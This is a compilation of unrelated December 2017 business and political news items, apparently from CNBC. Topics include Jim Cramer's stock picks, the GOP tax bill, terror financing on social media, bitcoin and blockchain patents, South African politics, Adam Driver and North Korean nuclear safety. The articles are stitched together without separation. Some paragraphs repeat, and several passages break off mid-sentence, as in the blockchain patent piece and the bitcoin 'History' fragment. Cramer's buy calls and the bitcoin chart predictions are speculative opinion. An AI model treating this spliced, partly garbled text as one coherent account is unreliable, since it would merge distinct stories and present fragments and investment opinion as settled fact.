On the post-earnings conference call, Connolly spoke to the "dramatic" improvement in single-serve frozen meal sales, a nod to the growing popularity of inexpensive, convenient food options.

Shares of Conagra now trade at 18 times next year's earnings estimates  still fairly inexpensive from Cramer's perspective.

"That said, Conagra reports on Thursday morning and I can't blame anyone for wanting to be cautious here," he said. "I'm optimistic, and I think you can put a small position on beforehand, but if you'd prefer to wait and see, well, you have my blessing."

Still, Cramer liked Conagra's long-term outlook, particularly for takeovers. Since Connolly seems to be open to making strategic acquisitions, the "Mad Money" host offered two suggestions.

"Who might be in the crosshairs of Conagra now that part of their freezer aisle is making a comeback? I'll give you two options: B&G Foods and Pinnacle Foods ," he said.

Shares of B&G Foods, the $2.25 billion company behind B&G Pickles, Green Giant frozen vegetables and Pirate's Booty, have been struggling, down from its $50 peak to just over $35 as of Monday's close.

Pinnacle Foods and Conagra have already considered a deal, but Pinnacle's stock has fallen from $66 to $57 and change since the talks ended because of price disagreements. Cramer said that the company behind Birds Eye frozen vegetables and Smart Balance could reconsider.

"The bottom line? The packaged food group is suddenly back in style, and the freezer aisles, of all places, are starting to get pretty hot," the "Mad Money" host said. "I think Conagra's the smartest way to play it, but if you really want to speculate on a takeover, I could see them  or someone else  snapping up either Pinnacle or that pastiche of brands that is B&G Foods."
As CNBC's Jim Cramer watched the averages jump to new intraday highs on Monday, he wondered about the welfare of one very strong sector: the cyclicals.

"There's a shortage of good cyclical stocks," the "Mad Money" host said. "I never thought I'd say that because we've had such a prolonged period of slow growth where most of the economically sensitive names seemed to fall by the wayside. But now it's crystal clear: we've got a stock shortage in the sector, plain and simple."

Cramer pointed to how strong construction plays like Caterpillar have gotten. Their strength is due to the fact that there aren't enough good public companies in that space to own, he said.

One competitor is Terex , but it doesn't have a great balance sheet, Cramer said. Another is crane manufacturer Manitowoc , but it's small and doesn't have much U.S. business.

"The old standbys  Illinois Tool Works , Ingersoll-Rand , Parker-Hannifin , 3M , Emerson [Electric] and Eaton  they've all run so much that it's tough to touch them," Cramer said. "But if you want industrial exposure, you may not have a choice."

Aerospace giants like Boeing , United Technologies and Honeywell also can't seem to quit, so much so that Cramer thinks their trajectories are nowhere near over.

"Anything with aerospace has a predilection to go higher," he said.

A common thread among these industrial companies is that their managements consistently buy back stock, making it difficult to get a hold of their shares, the "Mad Money" host said.

That's why it's possible for them all to run higher, even after these rip-roaring runs, Cramer added.

"Now, of course I am generalizing," he said. "There are more industrials out there that you could buy. Plus, it's not like you need to own them all. And let's be honest: this is a very high-quality problem."

Industrial giants like these could also benefit from a host of Washington-led initiatives, from the GOP tax overhaul to the president's infrastructure plan.

"We used to have hundreds of these kinds of companies, now there are merely dozens. And with the economy going into overdrive, this scarcity of stock simply assures that they simply aren't done going higher," the "Mad Money" host said. "Hence why the cyclicals remain among the best places to be."
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Marking momentum in Conagra Brands

ConAgra Foods products Daniel Acker | Bloomberg | Getty Images

In light of Campbell Soup's purchase of snack brand Snyder's-Lance and Hershey's deal to buy the parent company of SkinnyPop, Cramer wanted to revisit the food space. The unexpected strength is "not just [in] the pantry," he said. "This miraculous supermarket strength extends even to other parts of the frozen food aisle, which seemed like a wasteland not that long ago. In particular, Conagra [Brands] suddenly seems to be very much on the mend and I think that this stock could have a lot more room to run." Shares of Conagra, the company behind Chef Boyardee, Hebrew National, Reddi-Whip and Orville Redenbacher, had trouble picking up steam for most of 2017. But now, Conagra has become one of the sector's best stocks, and Cramer said the food giant could have a takeover of its own in the midst.

Enough industrials?

Boeing 777F Cargo Freighter Source: Boeing Co.

As Cramer watched the averages jump to new intraday highs on Monday, he wondered about the welfare of one very strong sector: the cyclicals. "There's a shortage of good cyclical stocks," the "Mad Money" host said. "I never thought I'd say that because we've had such a prolonged period of slow growth where most of the economically sensitive names seemed to fall by the wayside. But now it's crystal clear: we've got a stock shortage in the sector, plain and simple." Cramer pointed to how strong construction plays like Caterpillar have gotten. Their strength is due to the fact that there aren't enough good public companies in that space to own, he said.

Ollie's Bargain Outlet CEO: Strong buying environment

Mark Butler, CEO of Ollies Bargain Outlet Holdings. Adam Jeffery | CNBC

The holidays tend to be a bright moment for retailers, with major store chains reining in their inventories this year to improve profitability. At the same time, the buying environment for discount retailers like Ollie's Bargain Outlet Holdings has "never been better," Ollie's President, Chairman and CEO Mark Butler told CNBC. "There's been no shortage [of merchandise]," he told Cramer. "I've been with you several times over the last couple of years, and the buying environment of the close-out industry, it's never been stronger. It's never been better. We're seeing bigger, better, brighter, broader bargains, and we're selling name brands at drastically reduced prices, direct to the consumer." Butler said that an ever-changing selection of goods is the main draw for Ollie's loyalists. People usually like bargain-hunting, which is how the off-price chain has amassed 8.2 million members for its loyalty program, Ollie's Army. "The Army continues to grow faster than our sales, so it's really, really strong," the CEO told Cramer.

United Rentals CEO on tax overhaul effects

The whole U.S. economy stands to benefit from the GOP-driven tax overhaul, United Rentals President and CEO Mike Kneeland told Cramer on Monday. "I think it will [spur great economic growth]. I do because I think companies will invest," Kneeland said. "You could do share repurchases, capital allocation, acquisitions. Aside from that, we're also, with our board and management, investing in other areas of our business to bring new verticals, new types of products." The chief of the equipment rental company said that the tax plan was "all positive" and would help United Rentals with its cash flow, earnings and returns. Most of all, it adds to the already-positive 2018 outlook for industrials like his, with potential infrastructure and tax legislation being fundamentally accretive, Kneeland said. "The fundamentals of our industry today [are] very positive, whether it be the Dodge Momentum Index, which was a 13 percent improvement, or if you take a look at the construction backlog, which was at an all-time high," the CEO said. "I can tell you 2018 looks very positive. I can't go much beyond that, but what we see in the future looks pretty good."

Lightning Round: Stay with SWIR
Vice President Mike Pence will delay his planned trip this week to the Middle East until mid-January, the White House announced Monday. Pence will stay in Washington, where there is a chance he could be called upon to cast a tie-breaking vote in the Senate this week, to pass the GOP tax bill.

The postponement of Pence's trip also comes amid widespread outrage across the Middle East in response to President Donald Trump's decision earlier this month to recognize Jerusalem as the capital of Israel.

In a statement Monday, Pence's spokeswoman focused on the upcoming tax vote.

"The largest tax cut in American history is a landmark accomplishment for President Trump and a relief to millions of hardworking Americans," said the vice president's spokeswoman, Alyssa Farah, in a statement. "The Vice President is committed to seeing the tax cut through to the finish line. The Vice President looks forward to traveling to Egypt and Israel in January."

Pence's trip had originally been envisioned as a way for the Trump administration to draw attention to the ongoing persecution of Christians in the region, and to show solidarity with Christian communities ahead of the Christmas holiday.

But ever since Trump's Dec. 6 announcement about Jerusalem, America's role in the region has come under fire, and nowhere more so than in the context of the Israeli-Palestinian peace process.

The Jerusalem decision has also drawn international condemnation, and prompted Palestinian President Mahmoud Abbas to announce that he would not meet with Pence during the vice president's trip. Postponing the trip to January could provide the administration with time to repair some of its frayed regional alliances.
Scores of local fishermen gathered for the winter fishing season on the frozen Halaqin reservoir in Hohhot, Inner Mongolia autonomous region on Dec 16  boosting the local fishing industry and attracting tourists.

Fishermen cast their nets into the ice-covered Halaqin reservoir in Hohhot, North Chinas Inner Mongolia autonomous region, on Dec 16. [Photo/Xinhua]
An illustration of a hacker working at a laptop. Bill Hinton | Getty Images

Hajjaj Fahd al-Ajmi, a Kuwaiti national with alleged ties to Al-Qaeda, had unearthed a novel way to secure funds for terror activities. Very recently, the man designated a terror financier by the U.S. and the United Nations had a robust and active presence on Instagram, broadcasting calls to attract financing to his 1.7 million followers on Instagram. But his burgeoning social media efforts came tumbling down after the Facebook -owned company shuttered his account, 24 hours after CNBC inquired about it. Instagram confirmed that certain accounts on its platform appeared to have been maintained by or on behalf of Hajjaj Fahd al-Ajmi, and that it has a legal obligation to disable those accounts. Al-Ajmi's case is not an outlier: According to analysts, terrorists are turning to social media platforms to secure material support for their operations, in part because of the anonymity and extensive reach they offer. The revelations come at a particularly fraught moment for tech giants such as Facebook and Twitter , which are already under scrutiny for facilitating Russia-backed propaganda in the run up to the 2016 U.S. presidential election. That trend particularly applies to terrorist operations in conflict zones such as Syria, according Nolwenn Bourillon-Bervas, lead terrorism analyst at independent risk consultancy the Risk Advisory Group.

Donors may not know where their money goes

Terror financing on social media can take several forms, analysts said  and donors may not even know that they're giving their money to fund violence. For some extremists, the platforms allow for broadcasting explicit calls for financial support. The financiers then direct potential funders to virtual communication platforms such as Skype, according to Nicholas Ryder, professor of financial crime at the University of the West of England, Bristol.

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Extremists also encourage donors to use encrypted mobile applications that safeguard against external surveillance, posing a considerable challenge to counter-terror financing efforts, according to Bourillon-Bervas. One such popular app, Telegram, "has been used to communicate regarding the exchange or transfer of funds  [and to] coordinate recruitment" related to the Islamic State's operations in Syria and Iraq, Bourillon-Bervas said. In those cases, funds reach the financiers via wire transfers or social media platforms, according to Ryder. At other times, however, donors may not realize that their funds are going to terror organizations: Extremists also conduct fundraising under fake charities that indicate donations will be used for humanitarian purposes, according to an October report by the Royal United Services Institute (RUSI), an independent defense and security think-tank. Those layers of anonymity create further obstacles for governments to monitor and combat the illicit financing - already an "extremely difficult" task as with other forms of financial crime, according to Ryder.

Dangers and opportunities

Despite those regulatory challenges, financiers' move online also presents valuable opportunities for governments to disrupt terrorists' activities, according to the RUSI report. One example illustrates that scenario: The Israel Defense Forces currently monitor the accounts of suspects and their networks to identify any signs of a possible attack, the RUSI report said.

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Furthermore, fundraising through social media could help authorities identify the financiers - although many factors prevent them from effectively clamping down on those individuals. "Clearly if [terror financing] is done via open source platforms it potentially exposes the fundraiser, but if the fundraiser is in Syria and they are targeting donors in Indonesia, how do the Indonesian police access that fundraiser?" said Tom Keatinge, director of the Centre for Financial Crime and Security Studies at RUSI. "It's almost impossible."

More regulation for social media giants?

Social media companies and governments must do more to curb the problem, according to analysts. To be sure, the tech giants have in recent years actively implemented counter-terrorism measures. Facebook this year outlined steps it is taking to combat the propagation of extremist messages. The firm said its artificial intelligence system detected and removed 99 percent of IS and Al-Qaeda-related content on its platform before they were flagged by people.

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Bitcoin trading, and the capital allocated to it, remains a very small part of the multi-trillion dollar equity markets. It is an even smaller part of the much, much larger derivatives market.

Dado Ruvic | Illustration | Reuters

The key problem with bitcoin and other cryptocurrencies is that they are fiat currencies in the true sense of the word. A fiat currency relies on investors confidence for its value. A fiat currency is not backed in gold or some other asset. Most world currencies are fiat currencies, but they are backed by sovereign states. It is rare for a sovereigns States to default on debt which in turn leads to currency collapse. Cryptocurrencies are the currency of choice for money laundering, hackers, terrorists and criminals. Governments will not stand by and allow these cryptocurrencies to evade the regulations around these activities. There is a high risk that sovereign executive action will destroy the value of these bitcoins.

Legitimacy

Cryptocurrencies do not have the support of sovereign states. In fact some sovereign states  China  refuse to recognize these as legitimate currencies. This is the most significant risk in cryptocurrency trading. At any time a sovereign state like the United States may ban or prohibit cryptocurrency use and trading and thus render all contracts immediately worthless. This makes the cryptocurrencies suitable for short-term trading with exceptionally good risk management.

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The listing of bitcoin contracts on Chicago futures exchanges does not legitimize Bitcoin. These contracts can only be cash settled in U.S. dollars. The contract cannot be converted to bitcoins on expiry. This gives an indication of the level of confidence in the currency. Creating a bitcoin futures contract legitimizes and regulates the trading activity, but it does not legitimize bitcoin as a currency. CME, the world's largest futures exchange, launched its bitcoin futures contract this week under the ticker "BTC." The front-month contact opened above $20,000. The previous week the Chicago Board Options Exchange launched it own futures contract with the front-month topping $18,000. Cryptocurrencies are also tracked on CoinDesk, which monitors prices from digital currency exchanges Bitstamp, Coinbase, itBit and Bitfinex.

The trend

This trend is a parabolic curve. The trend is best described using a segment of an ellipse, mistakenly called a parabolic curve. Once the three anchor points are set, the position of the curve does not change. The trend starts off slowly then accelerates very rapidly until the activity on the price chart is almost vertical. Prices will soon move inevitably to the right of the curve. This usually signals a rapid retracement of 50% or more.

History
in the price of bitcoin has brought attention to the blockchain, the technology that underlies digital currencies.

The bitcoin logo is displayed on a power supply unit at a cryptocurrency mining facility in Incheon, South Korea, on Friday, Dec. 15, 2017. SeongJoon Cho | Bloomberg | Getty Images

The blockchain, the digital ledger system that underlies the boom in cryptocurrencies like bitcoin, is an innovation born within the open-source software community, where software coders pride themselves on the sharing of information. But the blockchain's open-source formative years may not stay that way. As bitcoin nears $20,000 and other digital currencies experience unprecedented gains, some of the biggest names in the corporate world are seeking patents related to the blockchain  financial companies like Visa , retailers like Walmart and the tech old guard like IBM. And in what likely would cause distress in the open-source movement, patenting of intellectual property related to the blockchain could lead to a patent war akin to battles that emerged in the 1990s during the software boom. A patent war "is inevitable," said Nick Spanos, founder and CEO of Blockchain Technologies, which has patented a blockchain-based election voting system among a handful of blockchain patents. He also is co-founder of the blockchain-based smart contract app Zap Project. "There are a lot of applications out there that people do to make their company look good with press releases and fluff, when they want to make their company look good. ... The legal battles will ensue; we will see what the landscape looks like when the dust settles."

Misfit trolls, geeks and wonks who 'are going to crush it'

In late November one of the patent world's controversial capitalists announced he was creating a blockchain-related business. Erich Spangenberg, who became notorious in Silicon Valley for challenging tech patents, has put together a new group to unlock the value in blockchain IP. Spangenberg wrote in a recent blog post, "The financial press is having fun talking about Bitcoin, but another important story that gets less attention is the technology underlying Bitcoin called 'blockchain.'" Spangenberg has created IPwe with a team of 20 full-time staff, as well as consultants, to "apply blockchain, artificial intelligence and predictive analytics to improve patents," Spangenberg wrote. "It is a curious path how a collection of misfit trolls, geeks and wonks ended up here  but we are going to crush it and make a fortune." But Spangenberg isn't using a narrow, short-term profit approach. He is in the blockchain for the long haul, seeing it as a key piece of his new company's plan to remake a broken patent system. He told CNBC that any money to be made from specific blockchain patents  his firm has filed for a few  wouldn't come for years if patents are eventually granted and isn't the real story anyway. He acknowledged that his history in the software boom might lead many to conclude that he sees dollar signs in amassing blockchain patents  he bought a portfolio of tech patents in the 90s for $1 million and turned that into $150 million  but Spangenberg sees a much bigger opportunity in reforming the entire patent world. Since CNBC first wrote about his interest in the blockchain, Spangenberg said he has received "hundreds of calls" from people, many claiming to have "cheap" blockchain patents.

There's certainly a lot of money there. Matt Rappaport co-founder of patent strategy firm IP Checkups

Many of the early players in the digital currencies and blockchain space adhere to an open-source philosophy, and there are a number of companies that have been trying to put together an open-source blockchain infrastructure. Spangenberg's IPwe doesn't plan to make money by litigating patents  IPwe will give its technology away for free. But he said with the expote Mark Lemley, director of the Stanford Law School program in Law, Science and Technology, said, "Patent trolls follow the money, so it's not surprising that the growth of blockchain value has caused them to come out of the woodwork," he said. The bitcoin boom has resulted in more than one new way to cash in on the blockchain. Riot Blockchain  which for years was a biotech company, changed its name in October and announced it was getting into both blockchain and bitcoin mining. Its shares surged after that announcement. That attracted the attention of noted short seller Citron Research. There are now 150 hedge funds investing in digital currencies, according to a New York Times report. "There's certainly a lot of money there," said Matt Rappaport, co-founder of patent strategy firm IP Checkups. James Bessen, an economist and executive director of the Technology & Policy Research Initiative at Boston University School of Law, said the idea behind IPwe is typical for the patent troll space: putting together a group of people to sit in an office all day and dream up patents. "Spangenberg, he has made out well," Bessen said. "You want to go into a new field like blockchain because there won't be a lot of patents, and the original stuff was open source." Just how many patents have been granted and applied for in the U.S. related to blockchain and bitcoin remains difficult to assess, but the growth in the past few years has been significant, according to Pedram Sameni, president and CEO of crowd-based intellectual property company Patexia. Patexia.s research found a spike from 2 blockchain patents and 25 blockchain patent applications in 2015 to 32 patents and 341 applications in 2017. Bitcoin patent applications increased from six in 2012, to 134 by 2014, and to 471 last year.

The top holders of blockchain and bitcoin patents

The top 5 holders of blockchain patents and/or patent applications are Bank of America , Mastercard , Fidelity Management and Research, IBM and Coinbase, according to Patexia's data. The top 5 holders of bitcoin patents and/or patent applications are Game Play Network, Bank of America, IBM, Elwha (an affiliate of Intellectual Ventures) and United Parcel Service . Intellectual Ventures has received criticism for trolling activity in past decades, though it also creates many of the innovations behind some of its patents and in funds it manages. It did not respond to a request for comment on its blockchain patents. Sameni said the patent activity related to bitcoin and the blockchain is "not that active" compared to other techs like WiFi or bluetooth, but the growth has been exponential in the past few years, and companies are filing aggressively for fundamental and foundational platforms. He cautioned that some of the patents he reviewed may overlap  involving both bitcoin and blockchain. And there is also an 18 month gap between the time patent applications are filed and published so it's likely that a lot of recent patent activity related to the blockchain boom has yet to surface. "The problem is that if the PTO is issuing too many foundational patents, defensive collection of patents won't help avoid the patent trolls," Lemley said. "There do seem to be a large number of companies claiming some pretty fundamental [blockchain] technologies," he added. Bessen, while not a blockchain expert specifically, has written widely on innovation and intellectual property and said some of the blockchain patents concern him  precisely for being overly broad. Patents can be designed to take a trivial idea and describe it in a different way, and that can lead to no one knowing the exact scope of what it covers. "It can go far beyond what the inventor actually did," Bessen said. As an example, he cited a patent awarded for a system to make payments over an internet browser that used blockchain as a form of encryption. People have used encryption before the blockchain and Bessen said it seems "fairly obvious" that a browser with a secure form of communication is not novel and should not lead to a patent being granted. But he added that a security component with blockchain may look novel to the patent office and once granted, it can be expensive to attempt to overturn the patent. "Some trolls are bottom feeders and send out thousands of letters, can be tens of thousands of letters, for a few thousand bucks each, and lots of people paid up in those cases," Bessen said. The history of the software industry's first boom includes a troubling precedent that resulted in thousands of "crap patents," Bessen said, being granted to cover digital payment methods. Many patents ultimately acquired by patent trolls led to lawsuits against businesses large and small challenging any e-commerce transactions, and the courts sided with the patent trolls. "The big problem is this creates risk for the real innovators, the guy who is actually innovating has to pay off patent trolls who have not invented anything," Bessen said. Recent Supreme Court rulings have eliminated the most extreme excesses of the tech patent wars, and it is now much harder to get a patent that is no more than a form of taking something already being done for years and doing it on a computer.

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Even as the sexual misconduct wave continues to lay waste to powerful men across the political and media landscapes, some Democrats are rethinking their "zero tolerance" policy.

A growing number of Democrats are now openly urging Senator Al Franken to rescind his resignation amid sexual misconduct allegations.

Ladies and gentlemen, meet the winners of the "most clueless people of the year award."

West Virginia Senator Joe Manchin is the leader of the group calling on Franken to "unresign." Politico is reporting three other Senate Democrats are joining him, including Vermont Senator Patrick Leahy who was among the senators who called on Franken to resign earlier this month.

But this goes beyond political flip flopping and partisan hypocrisy. Encouraging Franken to reverse course could easily incinerate the Democrats' big lead in the current 2018 midterm election polls and destroy their credibility on women's issues. In fact, the stakes are so high that even the idea that Democrats are considering this course of action is incredible.

How bad would it be if Franken reneges on his resignation vow? Let's count the ways.

1. It would completely undermine the zero tolerance policy for sexual harassment and misconduct that his colleagues like Senator Kirsten Gillibrand are promoting. That wing of the party got a boost from President Trump's and the GOP leadership's decision to back accused child molester Roy Moore in last week's special election in Alabama.

Moore lost his bid for U.S. Senator, but Democrats will still relish using his name to claim the political high ground in the continued #MeToo backlash. There's also a renewed effort to revisit the sexual misconduct allegations made against then-candidate Donald Trump just before the 2016 election.
Cyril Ramaphosa, newly elected president of South Africa's African National Congress, is pictured at the party's National Conference on December 19, 2017, in Johannesburg. Mujahid Safodien | AFP | Getty Images

Cyril Ramaphosa, the newly elected leader of South Africa's ruling African National Congress (ANC), may have sparked a jubilant reaction in markets, but experts warn that his potential to reform may be constrained by politics. Ramaphosa's victory "signals that the era of economic vandalism under (South African President) Jacob Zuma is now drawing to a close," Ben Payton, head of Africa at consultancy Verisk Maplecroft, said in a note Monday. But, "Ramaphosa will not provide a magic bullet to solve the country's economic problems," he added. "Fiscal reform implementation may be challenged by the close proximity to the May 2019 national elections," Gyorgy Kovacs, chief economist for emerging EMEA at UBS, said in a note Tuesday. Kovacs tempered hopeful sentiment by reiterating that UBS was still "neutral" on South Africa.

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Ramaphosa is expected to contest the South African presidency on behalf of the ANC in 2019. He desperately needs to shore up electoral support given the party's slipping popularity among voters, largely on the back of ongoing corruption allegations against the government. Ramaphosa also faces a divided party which could prove a stumbling block to strengthening the South African economy. "Ramaphosa has been reluctant to put flesh on the bones of his economic plan" to avoid alienating factions of the ANC who may be "suspicious of big business" and "favor sweeping measures to redistribute wealth," Payton added. A former trade union leader and one of South Africa's richest men, Rampahosa beat former cabinet minister and Zuma's ex-wife Nkosazana Dlamini-Zuma (NDZ) to the ANC's leadership on Monday. NDZ's loss, given that she is associated with the incumbent Zuma, throws the current head of state's position into uncertainty. Zuma faces nearly 800 charges of corruption dating back as far as the late 1990s. The ANC's selection was announced late Monday afternoon after initially being expected Sunday morning. While many commentators weren't overly optimistic on South Africa under Ramaphosa, emphasizing that the country's problems were deeply ingrained, many did believe that he would at least work to solve economic issues.

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Actor Adam Driver attends the Los Angeles premiere of 'Star Wars: The Last Jedi' at The Shrine Auditorium on December 9, 2017 in Los Angeles, California.

In the latest "Star Wars" trilogy, Adam Driver dominates as Kylo Ren, the angst-y villain who steals the show. Off-screen, Driver is just as tenacious  but he's no miscreant. Growing up in the small town of Mishawaka, Indiana, Driver sang in the choir and acted in high school plays. His interest in theater led him to audition for Julliard during his senior year. He didn't get in, but, after graduating from high school, Driver decided to give acting a real shot in Los Angeles. "I did that Hail Mary L.A. acting odyssey that I always heard stories about, of actors moving to L.A. with, like, seven dollars and finding work and successful careers," he said on stage during a live TED Talk. "I got as far as Amarillo, Texas, before my car broke down."

Driver eventually made it to Santa Monica. After 48 hours on the beach, he headed home to Mishawaka, where he had been living in his parents' garage for $200 a month. When 9/11 happened shortly after his cross-country adventure, a 17-year-old Driver felt compelled to do his part and join the Marines. With no job and no direction, it seemed like the logical choice. And it's one he's glad he made. "I loved being a Marine," he says. "It's one of the things I'm most proud of having done in my life." Driver served with the USMC for two years but, a few months before he was set to deploy to Iraq, a mountain-biking injury made it impossible for him to continue. Thrust back into civilian life, Driver decided to give acting another shot.

"I thought all civilian problems are small compared to the military," he says. "I mean, what can you really b---- about now, you know? 'It's hot. Someone should turn on the air conditioner.' 'This coffee line is too long.'" Driver's military experience put his failures into perspective and provided him with a newfound sense of perseverance. "I was a Marine, I knew how to survive," he says. "I'd go to New York and become an actor. If things didn't work out, I'd live in Central Park and dumpster-dive behind Panera Bread." But Driver didn't fail. He auditioned for Julliard again and got in. After graduating in 2009, he started garnering roles on- and off-Broadway and in films such as "J. Edgar" before getting his big break: He was cast as the troubled but alluring love interest Adam Sackler in HBO's "Girls" in 2011, opposite the show's creator and star Lena Dunham.
In the article, 11 young bosses provide insight on how to impress your millennial manager. Cuban agreed with one boss in particular who said she should never have to ask an employee what, why or when in regards to an assignment.

Cuban was referencing an article by the Young Entrepreneurial Council (YEC), published on Youtern.com , a site that connects young talent with internships and mentors.

Want to win over your boss and get ahead at work? Billionaire entrepreneur and "Shark Tank" judge Mark Cuban tweeted some advice to his more than seven million followers on Friday: Live by the three Ws at work.

Referring to the questions as "the three Ws," BAM Communications founder Beck Bamberger says she never wants to wonder, "What are you doing? Why are you doing it? When will it be done?"

As the CEO of a communications firm, Bamberger says her company is constantly holding clients accountable and managing expectations. Communication is key to keeping everyone on the same page.

"Communicate these [questions] constantly to your clients, team and me, and you'll be golden," she said.

Cuban agreed with Bamberger and tweeted that her advice was "spot on."

Twitter

Rosemary Haefner, chief human resources officer at CareerBuilder, also agrees that communication is key to winning over your boss.

"Clearly communicate the details of your assignments so your boss is more aware of what is on your plate," Haefner tells CNBC Make It. "You cannot assume that your boss understands the hours associated with assignments. Making him or her aware will help create mutually agreeable expectations."

In 2015, millennials like Bamberger became the largest population in the U.S. labor force, leading to more young professionals taking over leadership positions. Kerri Rogan, head of reliability improvement for the transit system company London Underground, says the key to helping colleagues get adjusted to a young manager is to demonstrate that you're there to help.

Young managers, says Rogan, should try not to challenge the technical knowledge of their more experienced colleagues.

"You need to build personal relationships," she says.



Disclosure: CNBC owns the exclusive off-network cable rights to "Shark Tank," which features Mark Cuban as a panelist.

Like this story? Like CNBC Make It on Facebook.

Don't miss: 4 ways to show your boss you're ready for more responsibility
The yield on the benchmark 10-year Treasury note rose to 2.463 percent at 2:55 p.m. ET, while the yield on the 30-year Treasury bond was also up at 2.825 percent. Bond yields move inversely to prices.

U.S. government debt yields rose on Tuesday after House Republicans passed a sweeping tax overhaul, sending the stimulus bill to the Senate for a vote.

Treasury yields are staging one of the sharpest two-day moves of the year, as the U.S. tax bill moves closer to becoming law.

The House voted to approve the sweeping tax bill Tuesday afternoon, and it was next headed for the Senate.

Strategists said the move, which drove the U.S. 10-year yield to its highest level since late October, started in Europe Tuesday. The German government's plan to issue more debt-than-expected next year pushed bund yields higher, and that acted like a magnet, pulling up yields across Europe and in the U.S. Treasury market.

It's "the biggest two day rise in the 10-year yield since Sept. 12," noted Michael Schumacher, Wells Fargo head of rate strategy of the 11.3 basis points. The biggest two day rise was the 14.9 basis points in mid-January.

"I've been crediting the impending passage of the tax plan. I think people have been waiting for it," said Andrew Brenner, global head of emerging markets, fixed income at National Alliance. He said the market is anticipating a stronger economy, possibly a more active Fed and a wider budget deficit.

The German bund yield move to a 3-week high of 0.37 percent, accelerated the move in the U.S market, and pushed the 10-year Treasury yield to breach a key level.

"That steepened the 10- and 30-year part of the yield curve in Europe, and that price action gained technical momentum in the Treasury market," said Ian Lyngen, head of rate strategy at BMO. He said the move through 2.43 percent was important since it was the high yield of November, and the next milestone would be the double top from October.

"The next level I'm watching is 2.476, and if it breaks that, 2.50," he said.

Strategists said the volatility in the market also has to do with yearend activity.

Brenner said an important level would be if the 10-year reached the high of the year. That was 2.63 percent from March. "Higher yields are coming. They're all moving in the same direction. It's the tax plan," he said.

Bond strategists some of the 'sell the news' in the bond market could also be behind the decline in stocks. "It's been our thought for a bit that the equity market seemed pretty pumped up about the idea of tax cuts since Trump was elected and the bond market was reacting less," said Schumacher. "Bigger deficits mean steeper curve. Maybe a little bit of that is creeping in."
China is planning to relax its goal of cutting debt in its economic outline that's set for release Wednesday, The Wall Street Journal reported Tuesday.

The revised plan will instead clamp down on the rise in borrowing, sources told the WSJ. The move would fly in the face of the Chinese government's mission to bring down the country's soaring debt, a goal President Xi Jinping has made a cornerstone to his economic platform.

The weakened priority may prove to be a concession by top Communist Party leaders that China's economy may be more reliant on leveraged growth than the government would like.

The Journal added that, by cooling its stance on debt, Beijing is hinting that it would rather fuel growth with higher debt than pursue austerity measures.

Chinese debt levels jumped the most in four years in September, according to Reuters. There's speculation that the size of China's debt load may be three times its economy.

China may be feeling pressure to keep its economy growing as the U.S. is set to pass its biggest tax overhaul in 30 years this week, which will lower the corporate tax rate to theoretically make more companies competitive with China.

To be sure, Xi and the Communist Party have been hard at work to curb borrowing between banks, the Journal noted. But since the crackdown on intrabank lending, smaller banks have scaled risky borrowing.

Click here to read the full WSJ report.
President Donald Trump can now be seen by visitors to Florida's Disney World in an exhibit that presents a speaking robotic version of him.

The Hall of Presidents in the Magic Kingdom Park shows animatronics of all 44 U.S. leaders appearing on stage in a 700-seat theater, with a film showing the history of the country, and Trump recorded a speech delivered by a model version that looks somewhat like him.

"From the beginning, America has been a nation defined by its people. At our founding, it was the American people who rose up to defend our freedoms and win our independence," the Trump figure says.

"It was why our founders began our great constitution with three very simple words: We the people. Since that moment, each generation of Americans has taken its place in the defense of our freedom, our flag, and our nation under God," it continues.
House Republicans approved sweeping changes to the U.S. tax code Tuesday, but they will have to vote again on a final bill Wednesday morning after the legislation hit a procedural snag in the Senate late Tuesday afternoon.

Republican lawmakers had been barreling toward their goal of passing the first major tax overhaul in decades before the end of the year. But in their haste, they appeared to have violated a Senate procedural measure known as the Byrd rule.

A Senate aide confirmed to CNBC that three provisions in the bill adopted by the House on Tuesday do not comply with Byrd rule requirements. The rule governs what types of provisions the Senate may consider under the procedural budget window known as reconciliation.

One of these provisions would allow 529 college savings plans to be used for home-schooling expenses. Another is related to a tax exemption for a very narrow category of colleges. The third appears to relate to the bill's name, the "Tax Cuts and Jobs Act."

The Senate is still expected to vote to pass a revised version of the tax bill Tuesday night, and send the final legislation back to the House for a procedural vote Wednesday morning.

Earlier Tuesday, the GOP tax plan passed the House by a margin of 227-203, and Republicans erupted in cheers when the bill garnered enough support. Twelve Republicans  all from high-tax states that traditionally lean Democratic  bucked their party's leadership and opposed the bill. As House members voted on the legislation, chants of "shame!" came down from protesters in the chamber's gallery.

Once the House votes again to pass the tax bill, it will send the broadly unpopular measure to the Senate, where Republicans were previously expected to push it through by Wednesday morning. With Senate passage, the legislation would go to President Donald Trump to sign it into law.
The trade spat between Boeing and Bombardier has entered a critical phase with a decision expected soon by the U.S. International Trade Commission (ITC).

Boeing has accused its Canadian rival of benefiting from government subsidies, allowing it to sell its new C-Series planes to U.S. buyers at below cost.

The particular case arose from Bombardier's 2016 deal to sell 75 C-Series jets to Delta Air Lines. Boeing claims Delta bought the planes at $20 million each, enjoying a hefty discount from the list price of $33 million. Those figures have not been confirmed by either Bombardier or Delta.

At the hearing Monday, Boeing said that Bombardier's use of Canadian public cash had allowed it to discount its planes to the point that Boeing's new 737s were not as competitive in the U.S.

Bombardier countered that Boeing's hefty order book suggested otherwise and that Boeing was making money "hand over fist."

Some analysts have suggested Boeing was emboldened to take legal action after Washington laid out its "America First" ethos for trade.

The U.S. Commerce Department has already ruled in Boeing's favor. In October, it slapped a 300 percent tariff on the Bombardier C-Series jets.

Head of Aviation at IHS Markit, John Sneller, said Tuesday that the ITC findings should be revealed Tuesday and there is some chance that the tariff ruling could be overturned.

"Discounting of airlines is not unusual. This is probably a little more aggressive than you would normally see. So up to 50 percent for a large order is not unusual. This is closer to 60 or 70 percent," he said.

"Also the evidence isn't very strong that Boeing's order book has been affected adversely," Sneller told CNBC.
The risk of a North Korean nuclear meltdown can't be ignored, according to a recent note published on 38North, a project of the US-Korea Institute at Johns Hopkins School of Advanced International Studies.

Longstanding doubts over the hermit kingdom's nuclear safety resurfaced in July, when a video emerged of leader Kim Jong Un smoking a cigarette next to a Hwasong-14 intercontinental ballistic missile.

"Kim's recklessness is certainly notable, and it hints at an under-emphasized and potentially devastating possibility: the threat of a nuclear accident in North Korea," said the 38North note, released late last week.

Adding to the concern, Chinese researchers said in September that North Korea's Punggye-ri nuclear test site was at risk of imploding. That was followed by TV Asahi's October report of a tunnel collapse at the same nuclear site, an incident believed to have killed more than 200 people. Pyongyang, in response, called the report false and dismissed it as misinformation.

